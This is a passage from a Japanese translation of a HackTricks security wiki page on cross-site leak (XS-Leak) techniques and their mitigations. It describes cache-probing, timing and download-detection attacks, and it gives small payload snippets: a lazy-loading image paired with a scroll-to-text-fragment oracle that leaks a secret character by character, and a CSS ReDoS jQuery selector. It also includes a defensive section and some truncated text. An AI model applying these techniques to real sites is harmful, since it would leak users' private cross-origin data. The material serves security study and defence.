[`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)ヘッダーの検出方法のもう一つは、**ナビゲーションが発生したかどうかをチェックすること**です。ページの読み込みがダウンロードを引き起こす場合、ナビゲーションはトリガーされず、**ウィンドウは同じオリジン内にとどまります**。

#### ダウンロードナビゲーション（iframesを使用しない） <a href="#download-navigation-without-iframes" id="download-navigation-without-iframes"></a>

前の方法と同じですが、iframesの代わりに`window.open`を使用します。

### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **Inclusion Methods**: ポップアップ
* **Detectable Difference**: タイミング
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **概要**: 攻撃者はiframesを使用してダウンロードを検出することができます。もしiframeがまだアクセス可能であれば、ファイルはダウンロードされたことになります。
* **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722)（[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)から）

{% hint style="warning" %}
この技術が興味深い理由：Chromeには現在、**キャッシュのパーティショニング**があり、新しく開かれたページのキャッシュキーは次のようになります：`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`。しかし、ngrokページを開いてそこでfetchを使用すると、キャッシュキーは次のようになります：`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`。**キャッシュキーが異なる**ため、キャッシュを共有することはできません。詳細はこちら：[Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
（[**ここ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)のコメントより）
{% endhint %}

サイト`example.com`が`*.example.com/resource`からリソースを含む場合、そのリソースは直接**トップレベルのナビゲーションを通じてリクエストされた場合と同じキャッシュキー**を持ちます。これは、キャッシュへのアクセスがリソースの読み込みよりも速いため、ページの場所を変更し、20ms後にキャンセルすることを試みることが可能です。停止後にオリジンが変更された場合、リソースはキャッシュされていることを意味します。または、**キャッシュされている可能性のあるページにいくつかのfetchを送信し、かかる時間を計測する**こともできます。

### 手動リダイレクト <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: リダイレクト
* **詳細情報**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **概要**: fetchリクエストへの応答がリダイレクトであるかどうかを特定することが可能です。
* **コード例**:

![](<../.gitbook/assets/image (652).png>)
### AbortControllerを使用したFetch <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **含まれる方法**: Fetch API
* **検出可能な違い**: タイミング
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **概要**: リソースの読み込みを試み、読み込みが中断される前に中断することができます。エラーがトリガされるかどうかによって、リソースがキャッシュされたかどうかが判断できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)は、_**fetch**_と_**setTimeout**_と組み合わせて使用することで、**リソースがキャッシュされているかどうかを検出**し、特定のリソースをブラウザキャッシュから削除することができます。このテクニックの素晴らしい機能は、新しいコンテンツをキャッシュすることなくプロービングが行われることです。

### スクリプトの汚染

* **含まれる方法**: HTML要素（script）
* **検出可能な違い**: ページのコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **概要**: クロスオリジンスクリプトがページに含まれている場合、その内容を直接読み取ることはできません。ただし、スクリプトが**組み込み関数を使用**している場合、それらを**上書き**して引数を読み取ることができ、貴重な情報が漏洩する可能性があります。
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### サービスワーカー <a href="#service-workers" id="service-workers"></a>

* **含まれる方法**: ポップアップ
* **検出可能な違い**: ページのコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **概要**: サービスワーカーを使用してウェブの実行時間を測定します。
* **コード例**:

1. 攻撃者は自分のドメイン（attacker.com）でサービスワーカーを登録します。
2. メインドキュメントで、攻撃者はターゲットのウェブサイトに対してナビゲーション（window.open）を発行し、サービスワーカーにタイマーを開始するように指示します。
3. 新しいウィンドウが読み込みを開始すると、攻撃者はステップ2で取得した参照をサービスワーカーが処理するページにナビゲートします。
4. ステップ3で実行されたリクエストがサービスワーカーに到着すると、204（コンテンツなし）のレスポンスを返し、ナビゲーションを中止します。
5. この時点で、サービスワーカーはステップ2で開始したタイマーから測定値を収集します。この測定値は、JavaScriptがナビゲーションをブロックした時間に影響を受けます。

{% hint style="warning" %}
実行タイミングでは、**ネットワーク要因**を**排除**して、**より正確な測定値**を得ることが可能です。たとえば、ページをロードする前にページで使用されるリソースをロードすることで実現できます。
{% endhint %}

### Fetchタイミング

* **含まれる方法**: Fetch API
* **検出可能な違い**: タイミング（一般的にはページのコンテンツ、ステータスコードによる）
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **概要**: [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用してリクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### クロスウィンドウタイミング

* **含まれる方法**: ポップアップ
* **検出可能な違い**: タイミング（一般的にはページのコンテンツ、ステータスコードによる）
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **概要**: [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用して、`window.open`を使用してリクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\
今すぐアクセスを取得してください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## HTMLまたは再インジェクションで

ここでは、HTMLコンテンツを**注入することで**クロスオリジンHTMLから情報を外部に流出させるためのテクニックを見つけることができます。これらのテクニックは、何らかの理由でHTMLを注入できるがJSコードを注入できない場合に興味があります。

### ダングリングマークアップ

{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}

### 画像の遅延読み込み

コンテンツを**外部に流出**させる必要があり、秘密の前に**HTMLを追加**できる場合は、**一般的なダングリングマークアップのテクニック**を確認する必要があります。\
ただし、何らかの理由で**文字ごとに**行う必要がある場合（たとえば、通信がキャッシュヒットを介して行われる場合）、このトリックを使用できます。

HTMLの**画像**には、読み込み時に遅延するための「**loading**」属性があります。この場合、画像はページの読み込み中ではなく、表示されるときに読み込まれます：
```html
<img src=/something loading=lazy >
```
したがって、できることは、秘密の前にウェブページを埋めるために**大量のジャンク文字（例えば数千の"W"）を追加する**ことです。または、`<br><canvas height="1850px"></canvas><br>`のようなものを追加します。\
その後、例えば私たちの**インジェクションがフラグの前に表示される場合**、画像は**ロードされます**が、フラグが**後に表示される場合**、フラグとジャンクが**ロードされないように防ぎます**（どれだけのジャンクを配置するかは調整する必要があります）。これは[**この解説記事**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)で起こったことです。

もう一つのオプションは、許可されている場合に**scroll-to-text-fragment**を使用することです：

#### Scroll-to-text-fragment

ただし、ボットがページにアクセスするようにするために、以下のようなものを使用します。
```
#:~:text=SECR
```
ウェブページは次のようになります：**`https://victim.com/post.html#:~:text=SECR`**

post.htmlには、攻撃者の不要な文字と遅延読み込み画像が含まれ、その後にボットの秘密が追加されます。

このテキストは、ボットが`SECR`というテキストを含むページ内の任意のテキストにアクセスするようにします。そのテキストが秘密であり、それが**画像の直下にある**ため、**画像は正しい推測された秘密の場合にのみ読み込まれます**。したがって、文字ごとに秘密を**外部に漏洩するオラクル**ができます。

これを悪用するためのコード例：[https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### 遅延読み込み画像による時間ベースの攻撃

もし、画像が読み込まれたことを攻撃者に示すことができない場合、別のオプションは**文字を何度も推測し、それを計測する**ことです。画像が読み込まれる場合、すべてのリクエストは画像が読み込まれない場合よりも長くかかります。これは、[**この解説の解決策**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)で使用された方法です。

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS（正規表現によるサービス拒否攻撃）

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS（CSSによるサービス拒否攻撃）

`jQuery(location.hash)`が使用されている場合、タイミングを利用して**HTMLコンテンツが存在するかどうか**を判断することができます。これは、セレクター`main[id='site-main']`が一致しない場合、残りの**セレクターをチェックする必要がない**ためです。
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSSインジェクション

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## 防御策

このセクションでは、[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)で推奨されている一部の緩和策を見つけることができますが、[https://xsleaks.dev/](https://xsleaks.dev/)のウィキの各セクションにはさらに多くの緩和策があります。これらのテクニックに対する保護方法についての詳細情報は、そちらを参照してください。

### インクルージョンメソッドの緩和策

* **HTML要素**。**CORPヘッダーを使用してページがリソースを埋め込むことができるかどうかを制御**することができます。CORPはsame-originまたはsame-siteに設定することができ、それによってクロスオリジンまたはクロスサイトのリクエストをブロックします。**クライアント側**では、Chromiumベースのブラウザは**CORBアルゴリズム**を使用して、クロスオリジンリソースリクエストを許可するか拒否するかを決定します。
* **フレーム**。**iframe要素がHTMLリソースを読み込むのを防ぐ**ための主な防御策は、**X-Frame-Options**の使用です。また、**CSPディレクティブframe-ancestors**を使用することでも同様の結果を得ることができます。埋め込みが拒否されると、インクルージョンメソッドは応答の違いを検出できません。
* **ポップアップ**。`window.opener`へのアクセスを制限するために、**COOP HTTPレスポンスヘッダー**は3つの異なる値を定義します: unsafe-none（デフォルト）、same-origin-allow-popups、same-origin。これらの値を使用して、**ブラウジングタブとポップアップを分離**することができ、それによってポップアップに基づく情報漏洩技術を緩和することができます。
* **JavaScriptリクエスト**。クロスオリジンのJavaScriptリクエストは、XS-Leak攻撃でよく使用されます。なぜなら、攻撃者は発行されたリクエストに対して細かい制御を持っているからです。ただし、これらのリクエストはCORSが有効になっていないため、スクリプトや画像などのHTML要素によって送信されるリクエストと同じ制限の対象となります。したがって、この情報漏洩技術の影響はCORPとCORBによっても**緩和**されることができます。

より一般的な方法:

* **Fetchメタデータ**。これらのリクエストヘッダーは、サーバーの所有者がユーザーのブラウザが特定のリクエストを引き起こした方法をよりよく理解するためのものです。Chromeでは、Sec-Fetch-\*ヘッダーが自動的に各リクエストに追加され、リクエストの起源に関するメタデータを提供します。たとえば、Sec-Fetch-Dest: imageは、画像要素からトリガーされました。Webアプリケーションは、その情報に基づいてリクエストをブロックすることを選択できます。
* **Same-Site Cookies**。Same-Siteクッキーフラグを使用すると、ウェブサイトはクッキーを同一サイトまたはファーストパーティのコンテキストに制限するかどうかを宣言できます。主要なブラウザはすべてSame-Siteクッキーをサポートしています。GCでは、属性のないクッキーはデフォルトでLaxになりました。XS-Leakでは、Same-Siteクッキーは情報漏洩攻撃の可能性を大幅に制限します。一方、**`window.open`に依存する情報漏洩技術は`SameSite=Lax`でも機能します**。クライアントサイド証明書やHTTP認証など、**他の認証方法**を使用するウェブサイトは**依然として脆弱**です。
* **クロスオリジン識別子の非連結性（COIU）**。COIU、またはFirst-Party Isolation（FPI）としても知られるCOIUは、ユーザーがFFのエキスパート設定（about:config）で有効にできるオプションのセキュリティ機能であり、最初にTor Browserで導入されました。抽象的には、これは拡張された同一サイトコンテキストです。これにより、複数のリソース（クッキー、キャッシュ、クライアント側ストレージなど）が訪問したすべてのウェブサイトではなく、最初のパーティに**バインド**されます。有効にすると、COIUはXS-Leakの適用範囲を大幅に減らすため、ポップアップを使用するメソッドのみがポリシーの最初のパーティの要件に合うようになります。
* **トラッキング保護**。AppleはSAに**Intelligent Tracking Prevention（ITP）**というプライバシーメカニズムを実装し、クッキーや他のWeb APIの機能を制限することでクロスサイトトラッキングに対抗しています。SAの新しいバージョンでは、ITPはデフォルトですべてのサードパーティクッキーを例外なくブロックします\[74]。このブロックにより、ポップアップに基づかないすべての情報漏洩が防止されます。FFもEnhanced Tracking Prevention（ETP）で同様のアプローチを取りましたが、彼らはトラッキングプロバイダに属する特定のサードパーティクッキーのみをブロックします。XS-Leakの文脈では、ETPはこれらのトラッキングドメインをターゲットにした情報漏洩技術を緩和するだけです。
* **ブラウザ拡張機能**。セキュリティに気をつけているユーザーは、**ブラウザ拡張機能を使用して特定のインクルージョンメソッドを防止**することができます。

### 情報漏洩技術の緩和策

* **イベントハンドラ**。この情報漏洩技術に対する**最も効果的な緩和策は、すべてを拒否する**ことですが、これによりインターネット上のほとんどのウェブアプリケーションが機能しなくなります。したがって、**イベント内で収集できる必要な情報の数を減らす**ことを提案します。たとえば、CSP違反イベントは、blockedURIフィールドにリダイレクト先のURLを含めないようにするべきです。この動作はFFと新しいバージョンのGCで実装されていますが、SAはまだ脆弱です。
* **エラーメッセージ**。情報漏洩技術に基づくXS-Leakを緩和するためには、2つの主要な要件があります。まず、エラーメッセージには詳細な情報が含まれていない必要があります。イベントハンドラメッセージと同様です。第二に、ブラウザはエラーメッセージの発生を**最小限に抑える必要があります**。SRIエラーやContentDocument XFO、Fetch RedirectなどのXS-Leakでは、エラーメッセージがスローされるかどうかを検出します。
* **グローバル制限**。グローバル制限を悪用する情報漏洩技術を修正するのは比較的複雑です。なぜなら、それらは物理的な制約に依存しているからです。一般的な推奨事項は、**小規模なサイトごとにグローバル制限を制限する**ことです。Payment APIのよ
## 参考文献

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}